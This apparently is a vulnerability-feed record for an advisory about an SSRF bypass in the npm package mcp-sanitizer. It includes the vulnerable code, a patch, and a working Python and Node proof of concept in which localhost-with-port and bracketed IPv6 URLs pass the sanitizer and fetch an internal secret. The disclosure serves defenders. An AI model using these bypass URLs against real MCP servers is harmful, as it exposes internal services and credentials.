{"id":"GHSA-4mfg-r38w-w8fg","kind":"vulnerability","aliases":["GHSA-4mfg-r38w-w8fg"],"related":[],"title":"mcp-sanitizer: URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6","description":"## URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6\n\n### Summary\n\n`mcp-sanitizer` v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a `localhost` URL includes an explicit port (e.g., `http://localhost:8080/`) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., `http://[::1]:8080/`, `http://[fe80::1]:8080/`). Because the library is explicitly designed to gate MCP tool parameters such as `web_fetch` and `web_scraper` before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses.\n\n### Details\n\nThe vulnerability exists in `src/utils/validation-utils.js` inside the `validateURLLocation()` function that is called by `_secureSanitizeURL()` in `src/sanitizer/mcp-sanitizer.js:698`.\n\n**Bug 1 — Port-guarded localhost check (line 274–276):**\n\n```js\n// src/utils/validation-utils.js:274-276\nif ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {\n  throw new Error('URL points to localhost without explicit port');\n}\n```\n\nThe `&& !parsedUrl.port` guard means that any localhost URL that includes a port number is *not* thrown. `http://localhost:8080/` passes the check entirely, returning `blocked: false` with the original URL preserved.\n\n**Bug 2 — Bracketed IPv6 hostname mismatch (lines 272, 293–295):**\n\n```js\n// src/utils/validation-utils.js:293-295\nif (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {\n  throw new Error(`URL points to link-local address: ${hostname}`);\n}\n```\n\nThe Node.js `URL` API returns `parsedUrl.hostname` for IPv6 addresses *with* surrounding brackets: `[::1]`, `[fe80::1]`. The string comparison `hostname === '::1'` (line 274) and `hostname.startsWith('fe80:')` (line 293) therefore never match, because the actual string starts with `[`.\n\n**Data flow through the middleware:**\n\n1. `src/middleware/express.js:499` — tool name derived from `req.params.toolName || req.body?.tool_name`.\n2. `src/middleware/express.js:548-554` — `web_scraper`/`web_fetch` `params.url` forwarded to `sanitizer.sanitize(url, { type: 'url' })`.\n3. `src/sanitizer/mcp-sanitizer.js:527-528` — context type `url` routes to `_secureSanitizeURL()`.\n4. `src/sanitizer/mcp-sanitizer.js:698-700` — `validateURLLocation(parsedUrl)` called; on success, `parsedUrl.toString()` returned to caller as the sanitized, trusted URL.\n\nBoth bugs are in the default code path; no special configuration is required to trigger them.\n\n**Suggested patch:**\n\n```diff\n--- a/src/utils/validation-utils.js\n+++ b/src/utils/validation-utils.js\n@@ const { URL } = require('url');\n+const net = require('net');\n@@ \n-  const hostname = parsedUrl.hostname.toLowerCase();\n+  const hostname = parsedUrl.hostname.toLowerCase().replace(/^\\[|\\]$/g, '').replace(/\\.$/, '');\n@@ \n-  if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {\n-    throw new Error('URL points to localhost without explicit port');\n+  if (hostname === 'localhost' || hostname.endsWith('.localhost') || hostname === '::1') {\n+    throw new Error('URL points to localhost or loopback');\n   }\n@@ \n-  if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {\n+  if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:') ||\n+      hostname.startsWith('fc') || hostname.startsWith('fd')) {\n     throw new Error(`URL points to link-local address: ${hostname}`);\n   }\n+\n+  if (net.isIP(hostname) === 6 && (hostname === '::1' || hostname.startsWith('fe80:'))) {\n+    throw new Error(`URL points to restricted IPv6 address: ${hostname}`);\n+  }\n```\n\n### PoC\n\n**Prerequisites:** Docker installed; no other dependencies required.\n\n**1. Build the Docker image:**\n\n```bash\ndocker build \\\n  -f vuln-001/Dockerfile \\\n  -t vuln-001-mcp-sanitizer \\\n  reports/npmAI_754_starman69__mcp-sanitizer\n```\n\n**2. Run the PoC:**\n\n```bash\ndocker run --rm vuln-001-mcp-sanitizer\n```\n\nThe `poc.py` script inside the image:\n- Starts a mock internal HTTP service on `127.0.0.1:8080` serving the string `INTERNAL_SECRET_DATA_9f3a2b1c`.\n- Calls `sanitizer.sanitize(url, { type: 'url' })` via Node.js for five URLs (two expected-blocked, three bypass candidates).\n- Performs an actual `GET http://localhost:8080/` using the sanitizer-approved URL and confirms the secret is returned.\n\n**Expected output (abbreviated):**\n\n```\n[BYPASS_CONFIRMED] http://localhost:8080/  blocked=False  sanitized=http://localhost:8080/\n[BYPASS_CONFIRMED] http://[::1]:8080/     blocked=False  sanitized=http://[::1]:8080/\n[BYPASS_CONFIRMED] http://[fe80::1]:8080/ blocked=False  sanitized=http://[fe80::1]:8080/\n[SSRF HTTP 200] GET http://localhost:8080/ => 'INTERNAL_SECRET_DATA_9f3a2b1c\\npath=/'\n[!!!] INTERNAL SECRET EXFILTRATED: INTERNAL_SECRET_DATA_9f3a2b1c\nRESULT: PASS - SSRF bypass fully demonstrated end-to-end\n```\n\nBaseline controls confirm the library *does* block `http://localhost/` and `http://127.0.0.1/` (`blocked: true`), proving the bypasses are not a general failure but a precise gap in the validation logic.\n\n**Minimal inline repro (no Docker):**\n\n```bash\n# Inside the mcp-sanitizer repository root (npm ci first)\nnode - <<'NODE'\nconst MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');\nconst sanitizer = new MCPSanitizer();\nfor (const url of [\n  'http://localhost:8080/',\n  'http://[::1]:8080/',\n  'http://[fe80::1]:8080/'\n]) {\n  const r = sanitizer.sanitize(url, { type: 'url' });\n  console.log(url, '=> blocked=', r.blocked, 'sanitized=', r.sanitized);\n}\nNODE\n```\n\n### Impact\n\nThis is a **Server-Side Request Forgery (SSRF)** vulnerability. Any application that:\n\n1. Uses `mcp-sanitizer`'s `sanitize()` / `createMCPToolMiddleware()` as the security boundary for outbound URLs, **and**\n2. Passes the returned sanitized URL to an HTTP client (the library's documented intended use for `web_fetch`/`web_scraper` MCP tools),\n\nis exploitable by any party that can supply the `url` parameter — typically an unauthenticated network attacker in an MCP server deployment.\n\n**Consequences:**\n- **Confidentiality (High):** The attacker can retrieve responses from internal services such as cloud metadata endpoints (e.g., `http://169.254.169.254/`), admin panels, or any localhost daemon, potentially exposing credentials, tokens, or sensitive configuration.\n- **Integrity (Low):** If internal services expose writable APIs, the attacker can trigger state changes or issue commands via HTTP.\n- **Availability:** Not directly impacted.\n\nThe vulnerability requires no authentication, no special configuration, and no user interaction; it is exploitable in the default middleware path.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:18-alpine\n\n# Install Python3 for the PoC script\nRUN apk add --no-cache python3\n\nWORKDIR /app\n\n# Copy package files first for better layer caching\nCOPY repo/package.json repo/package-lock.json ./\n\n# Install Node.js dependencies (clean install, no dev deps)\nRUN npm ci --ignore-scripts --omit=dev\n\n# Copy library source\nCOPY repo/src ./src/\n\n# Copy PoC script\nCOPY vuln-001/poc.py ./poc.py\n\n# Run the PoC by default\nCMD [\"python3\", \"poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: mcp-sanitizer SSRF bypass via localhost+port and IPv6 bracket notation\nLibrary: mcp-sanitizer v1.3.3 (commit caff5d6)\nCWE-918: Server-Side Request Forgery\nCVSS 3.1: 8.2 (High)\n\nRoot cause:\n  src/utils/validation-utils.js:274:\n    if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port)\n  - The \"&& !parsedUrl.port\" guard means any localhost URL WITH a port bypasses the block.\n  - Node.js URL API returns hostname as \"[::1]\" / \"[fe80::1]\" (with brackets) for IPv6,\n    so the string equality check against \"::1\" and startsWith(\"fe80:\") both silently fail.\n\nAttack scenario:\n  1. Attacker controls the \"url\" parameter of a web_fetch / web_scraper MCP tool call.\n  2. The server calls sanitize(params.url, { type: 'url' }) and trusts the result.\n  3. Because the bypass succeeds, the server makes an outbound HTTP request to an internal\n     service (localhost:PORT), leaking its response to the attacker.\n\"\"\"\n\nimport subprocess\nimport sys\nimport json\nimport http.server\nimport threading\nimport urllib.request\nimport os\n\n# ─────────────────────────────────────────────────────────────────────────────\n# Step 1: Start a mock \"internal\" service on 127.0.0.1:8080\n#         This simulates a privileged internal endpoint (e.g., metadata API,\n#         admin panel) that should never be reachable from external input.\n# ─────────────────────────────────────────────────────────────────────────────\nINTERNAL_PORT = 8080\nINTERNAL_SECRET = \"INTERNAL_SECRET_DATA_9f3a2b1c\"\n\nclass InternalServiceHandler(http.server.BaseHTTPRequestHandler):\n    \"\"\"Simulates a restricted internal HTTP service (e.g., admin API or metadata endpoint).\"\"\"\n\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"X-Internal\", \"true\")\n        self.end_headers()\n        self.wfile.write(f\"{INTERNAL_SECRET}\\npath={self.path}\\n\".encode())\n\n    def log_message(self, fmt, *args):\n        pass  # Suppress default access logs for cleaner output\n\n\ninternal_server = http.server.HTTPServer((\"127.0.0.1\", INTERNAL_PORT), InternalServiceHandler)\nsrv_thread = threading.Thread(target=internal_server.serve_forever, daemon=True)\nsrv_thread.start()\nprint(f\"[*] Mock internal service started on 127.0.0.1:{INTERNAL_PORT}\")\nprint(f\"[*] Internal secret: {INTERNAL_SECRET}\\n\")\n\n\n# ─────────────────────────────────────────────────────────────────────────────\n# Step 2: Run the mcp-sanitizer via Node.js to test bypass URLs\n# ─────────────────────────────────────────────────────────────────────────────\nNODE_SCRIPT = r\"\"\"\n'use strict';\nconst MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');\nconst sanitizer = new MCPSanitizer();\n\nconst tests = [\n  // These should be BLOCKED (baseline: library is supposed to block localhost)\n  { url: 'http://localhost/',        expectBlocked: true  },\n  { url: 'http://127.0.0.1/',       expectBlocked: true  },\n  // These are the BYPASS cases (the vulnerability)\n  { url: 'http://localhost:8080/',   expectBlocked: false },\n  { url: 'http://[::1]:8080/',      expectBlocked: false },\n  { url: 'http://[fe80::1]:8080/',  expectBlocked: false },\n];\n\nconst out = tests.map(t => {\n  let result;\n  try {\n    result = sanitizer.sanitize(t.url, { type: 'url' });\n    return {\n      url: t.url,\n      blocked: result.blocked,\n      sanitized: result.sanitized,\n      expectBlocked: t.expectBlocked\n    };\n  } catch (err) {\n    return {\n      url: t.url,\n      blocked: true,\n      sanitized: null,\n      expectBlocked: t.expectBlocked,\n      error: err.message\n    };\n  }\n});\n\nprocess.stdout.write(JSON.stringify(out));\n\"\"\"\n\nprint(\"[*] Running mcp-sanitizer URL sanitization tests via Node.js ...\")\nproc = subprocess.run(\n    [\"node\", \"-e\", NODE_SCRIPT],\n    capture_output=True,\n    text=True,\n    cwd=\"/app\"\n)\n\nif proc.returncode != 0:\n    print(f\"[ERROR] Node.js process exited with code {proc.returncode}\")\n    print(f\"stderr: {proc.stderr}\")\n    sys.exit(2)\n\nif not proc.stdout.strip():\n    print(\"[ERROR] No output from Node.js process\")\n    print(f\"stderr: {proc.stderr}\")\n    sys.exit(2)\n\nresults = json.loads(proc.stdout)\n\n\n# ─────────────────────────────────────────────────────────────────────────────\n# Step 3: Print sanitizer results and identify bypassed URLs\n# ─────────────────────────────────────────────────────────────────────────────\nprint(\"[*] Sanitizer results:\\n\")\nheader = f\"{'URL':<35}  {'blocked':<8}  {'sanitized':<35}  status\"\nprint(header)\nprint(\"-\" * len(header))\n\nbypass_urls = []\nunexpected = []\n\nfor r in results:\n    blocked = r[\"blocked\"]\n    expected = r[\"expectBlocked\"]\n    sanitized_str = str(r.get(\"sanitized\") or \"null\")\n    status = \"OK\" if blocked == expected else \"UNEXPECTED\"\n    if not blocked and r.get(\"sanitized\"):\n        bypass_urls.append(r[\"sanitized\"])\n        status = \"BYPASS_CONFIRMED\"\n    print(f\"{r['url']:<35}  {str(blocked):<8}  {sanitized_str:<35}  {status}\")\n    if blocked != expected:\n        unexpected.append(r)\n\nprint()\n\n\n# ─────────────────────────────────────────────────────────────────────────────\n# Step 4: Perform actual SSRF request using the bypassed localhost:8080 URL\n#         This proves the sanitizer flaw leads to real internal service access.\n# ─────────────────────────────────────────────────────────────────────────────\nssrf_confirmed = False\nssrf_evidence = None\nssrf_url = \"http://localhost:8080/\"\n\nif ssrf_url in bypass_urls:\n    print(f\"[*] Attempting SSRF: GET {ssrf_url} (using sanitizer-approved URL) ...\")\n    try:\n        resp = urllib.request.urlopen(ssrf_url, timeout=5)\n        body = resp.read().decode().strip()\n        print(f\"[*] HTTP response status: {resp.status}\")\n        print(f\"[*] HTTP response body:\\n    {body.replace(chr(10), chr(10) + '    ')}\")\n        if INTERNAL_SECRET in body:\n            ssrf_confirmed = True\n            ssrf_evidence = body\n            print(f\"\\n[!!!] INTERNAL SECRET EXFILTRATED: {INTERNAL_SECRET}\")\n    except Exception as exc:\n        print(f\"[ERROR] HTTP request failed: {exc}\")\nelse:\n    print(f\"[WARN] {ssrf_url} was not in bypass_urls; skipping actual SSRF step\")\n\ninternal_server.shutdown()\n\n\n# ─────────────────────────────────────────────────────────────────────────────\n# Step 5: Final verdict\n# ─────────────────────────────────────────────────────────────────────────────\nprint(f\"\\n{'='*65}\")\nprint(\"VERDICT\")\nprint(f\"{'='*65}\")\nprint(f\"  Bypass URLs confirmed by sanitizer: {len(bypass_urls)}\")\nprint(f\"  Bypassed URLs:                      {bypass_urls}\")\nprint(f\"  Actual SSRF HTTP request succeeded: {ssrf_confirmed}\")\nprint(f\"  Exfiltrated secret matches:         {ssrf_confirmed and INTERNAL_SECRET in (ssrf_evidence or '')}\")\n\nif ssrf_confirmed and len(bypass_urls) >= 2:\n    print(\"\\n  RESULT: PASS - SSRF bypass fully demonstrated end-to-end\")\n    print(\"  - mcp-sanitizer v1.3.3 did NOT block localhost:8080, [::1]:8080, [fe80::1]:8080\")\n    print(f\"  - Actual HTTP GET to internal service returned: {ssrf_evidence!r}\")\n    sys.exit(0)\nelif len(bypass_urls) >= 2:\n    print(\"\\n  RESULT: PARTIAL - sanitizer bypass confirmed but live HTTP request failed\")\n    print(f\"  - {len(bypass_urls)} URLs bypassed sanitizer: {bypass_urls}\")\n    sys.exit(1)\nelse:\n    print(\"\\n  RESULT: FAIL - expected at least 2 bypass URLs\")\n    sys.exit(1)\n```","summary":"mcp-sanitizer before 1.4.0 fails to block localhost URLs that include an explicit port, and bracketed IPv6 loopback or link-local addresses such as [::1] and [fe80::1]. An attacker who controls a URL passed to a web_fetch or web_scraper tool can make the server fetch internal services and read their responses.","severity":"high","cvss":8.2,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"mcp-sanitizer","fixed":["1.4.0"],"affected":"< 1.4.0","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["cwe-918","mcp","node.js","npm","package","self-hosted"],"not_affected_if":["no-outbound-url-fetch","not-using-mcp-sanitizer"],"how_to_check":"- Run `npm ls mcp-sanitizer` in the project to find the installed version; anything below `1.4.0` is affected.\n- Search your code for `createMCPToolMiddleware` or `sanitize(` with `type: 'url'` to see whether the sanitized URL is passed to an HTTP client.","fix":"- Upgrade `mcp-sanitizer` to `1.4.0` or later.\n- Until the upgrade, do not rely on the sanitizer alone to block internal URLs; restrict outbound requests from the server to an allowlist of hosts.","status":"open","published_at":"2026-10-28T19:51:39+00:00","first_seen_at":"2026-10-28T19:56:30+00:00","triaged_at":"2026-10-28T19:56:37+00:00","updated_at":"2026-10-28T19:56:37+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-28T19:56:37Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade `mcp-sanitizer` to `1.4.0` or later.\n- Until the upgrade, do not rely on the sanitizer alone to block internal URLs; restrict outbound requests from the server to an allowlist of hosts.","reach":"internet","title":"mcp-sanitizer: URL check lets localhost and IPv6 loopback URLs through","impact":"high","summary":"mcp-sanitizer before 1.4.0 fails to block localhost URLs that include an explicit port, and bracketed IPv6 loopback or link-local addresses such as [::1] and [fe80::1]. An attacker who controls a URL passed to a web_fetch or web_scraper tool can make the server fetch internal services and read their responses.","category":"package","nicknames":[],"who_cares":["mcp","npm","node.js","self-hosted"],"confidence":0.8,"needs_auth":"no","worst_case":"Attacker reads internal service responses and secrets through the server","analyst_note":"","how_to_check":"- Run `npm ls mcp-sanitizer` in the project to find the installed version; anything below `1.4.0` is affected.\n- Search your code for `createMCPToolMiddleware` or `sanitize(` with `type: 'url'` to see whether the sanitized URL is passed to an HTTP client.","needs_analyst":false,"not_affected_if":["not-using-mcp-sanitizer","no-outbound-url-fetch"],"who_is_affected":"Applications that use mcp-sanitizer as the security check for outbound URLs in MCP tools such as web_fetch or web_scraper, and then fetch the returned URL. The exposure comes from the data path: user-supplied URLs reach an HTTP client on a host that can reach internal services. Teams that do not use this package or that do not fetch URLs returned by it can skip it.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"high"},"cost_usd":0.001181,"input_tokens":8489,"output_tokens":665,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-001':530C,534C,548C '-276':223C '-295':285C '-528':372C '-554':357C '-700':382C '-918':31B '/dockerfile':531C '/g':433C '1':65B,68B,146C,149C,211C,230C,314C,316C,321C,343C,441C,459C,499C,520C '1.4.0':43B '127.0.0.1':228C,439C '169.254':288C,471C,476C '2':273C,354C,539C '272':279C '274':218C,222C,323C '276':219C '293':280C,284C,328C '295':281C '3':369C '4':379C '499':345C '4mfg':19A,24A '527':371C '548':356C '6':497C '698':209C,381C '8080':133C,147C,150C,259C 'a/src/utils/validation-utils.js':416C 'actual':334C 'address':62B,139C,300C,310C,492C,510C 'allow':6A,97C 'api':305C 'attack':70B,182C 'attacker-control':181C 'b/src/utils/validation-utils.js':417C 'bash':525C,543C 'block':46B,115C,265C 'bracket':15A,55B,106C,143C,274C,313C 'bug':210C,272C,398C 'build':521C,527C 'bypass':10A,101C,176C 'call':204C,385C 'caller':391C 'check':216C,262C 'code':403C 'comparison':319C 'configur':407C 'const':418C,422C,426C,429C 'context':373C 'control':72B,183C 'cwe':30B 'data':338C 'default':402C 'depend':518C 'deriv':348C 'design':156C 'detail':192C 'diff':415C 'direct':178C 'docker':514C,523C,526C,544C 'e.g':131C,145C 'enabl':179C 'entir':263C 'error':234C,293C,445C,462C,485C,504C 'exist':195C 'explicit':12A,52B,103C,129C,155C,240C,451C 'express':141C 'f':528C 'fail':44B,113C 'fals':266C 'fc':480C 'fd':482C 'fe80':67B,148C,290C,315C,326C,473C,478C,501C 'fetch':79B,88B,165C,361C 'flow':339C 'forgeri':120C 'forward':363C 'function':201C 'gate':158C 'ghsa':18A,23A 'ghsa-4mfg-r38w-w8fg':17A,22A 'guard':214C,244C 'host':38B 'hostnam':225C,227C,229C,276C,301C,320C,427C,430C,436C,438C,440C,454C,458C,493C,496C,498C,511C 'hostname.endswith':456C 'hostname.startswith':287C,289C,325C,470C,472C,475C,477C,479C,481C,500C 'http':171C 'imag':524C 'includ':50B,127C,251C 'insid':198C 'instal':515C 'intern':89B,187C 'ipv6':16A,56B,107C,137C,275C,309C,509C 'js':220C,282C 'leak':189C 'librari':153C 'line':217C,278C,322C,327C 'link':60B,298C,490C 'link-loc':59B,297C,489C 'local':61B,299C,491C 'localhost':47B,125C,132C,215C,226C,238C,248C,258C,437C,449C,455C,457C,466C 'localhost/ipv6':7A,98C 'loopback':8A,57B,99C,468C 'loopback/link-local':138C 'made':174C 'make':85B 'match':331C 'mcp':2A,28A,32B,40B,110C,159C,536C,550C 'mcp-s':549C 'mcp-sanit':1A,39B,109C,535C 'mcp-sanitizer':27A 'mean':245C 'middlewar':342C 'mismatch':277C 'name':347C,353C 'net':423C,425C 'net.isip':495C 'never':330C 'new':233C,292C,444C,461C,484C,503C 'node.js':33B,303C 'notat':144C 'npm':34B 'number':254C 'origin':269C 'outbound':170C 'packag':35B 'paramet':161C 'params.url':362C 'parsedurl':384C 'parsedurl.hostname':307C 'parsedurl.hostname.tolowercase':428C,431C 'parsedurl.port':231C,243C,442C 'parsedurl.tostring':388C 'pass':75B,260C 'patch':414C 'path':404C 'poc':512C,542C 'point':236C,295C,447C,464C,487C,506C 'port':13A,53B,104C,130C,213C,241C,253C,452C 'port-guard':212C 'prerequisit':513C 'preserv':271C 'r38w':20A,25A 'reach':186C 'read':92B 'replac':432C,434C 'reports/npmai_754_starman69__mcp-sanitizer':538C 'req.body':351C 'req.params.toolname':350C 'request':119C,172C 'requir':409C,420C,424C,519C 'respons':94B,191C 'restrict':508C 'return':264C,306C,389C 'rm':546C 'rout':376C 'run':540C,545C 'sanit':3A,5A,41B,96C,111C,394C,537C 'sanitizer':29A 'sanitizer.sanitize':365C 'scraper':82B,168C,359C 'securesanitizeurl':206C,378C 'self':37B 'self-host':36B 'server':87B,117C 'server-sid':116C 'servic':90B,188C 'side':118C 'special':406C 'src/middleware/express.js':344C,355C 'src/sanitizer/mcp-sanitizer.js':208C,370C,380C 'src/utils/validation-utils.js':197C,221C,283C 'ssrf':9A,100C,121C 'start':336C 'string':318C,335C 'success':387C 'suggest':413C 'summari':108C 'surround':312C 'target':122C 'therefor':329C 'throw':232C,291C,443C,460C,483C,502C 'thrown':257C 'tool':83B,160C,346C,352C 'trigger':411C 'trust':395C 'type':367C,374C 'url':4A,48B,74B,95C,126C,184C,235C,249C,270C,294C,304C,366C,368C,375C,396C,419C,421C,446C,463C,486C,505C 'v1.3.3':112C 'validateurlloc':200C,383C 'via':11A,102C 'vuln':529C,533C,547C 'vulner':194C 'w8fg':21A,26A 'web':78B,81B,164C,167C,358C,360C 'without':239C,450C","nicknames":[],"mitigations":[],"who_affected":"Applications that use mcp-sanitizer as the security check for outbound URLs in MCP tools such as web_fetch or web_scraper, and then fetch the returned URL. The exposure comes from the data path: user-supplied URLs reach an HTTP client on a host that can reach internal services. Teams that do not use this package or that do not fetch URLs returned by it can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-28T19:51:39+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-4mfg-r38w-w8fg","url":"https://github.com/advisories/GHSA-4mfg-r38w-w8fg","severity":"high","published_at":"2026-10-28T19:51:39+00:00","modified_at":"2026-10-28T19:51:40+00:00","first_seen_at":"2026-10-28T19:56:30+00:00","fetched_at":"2026-10-28T19:56:30+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}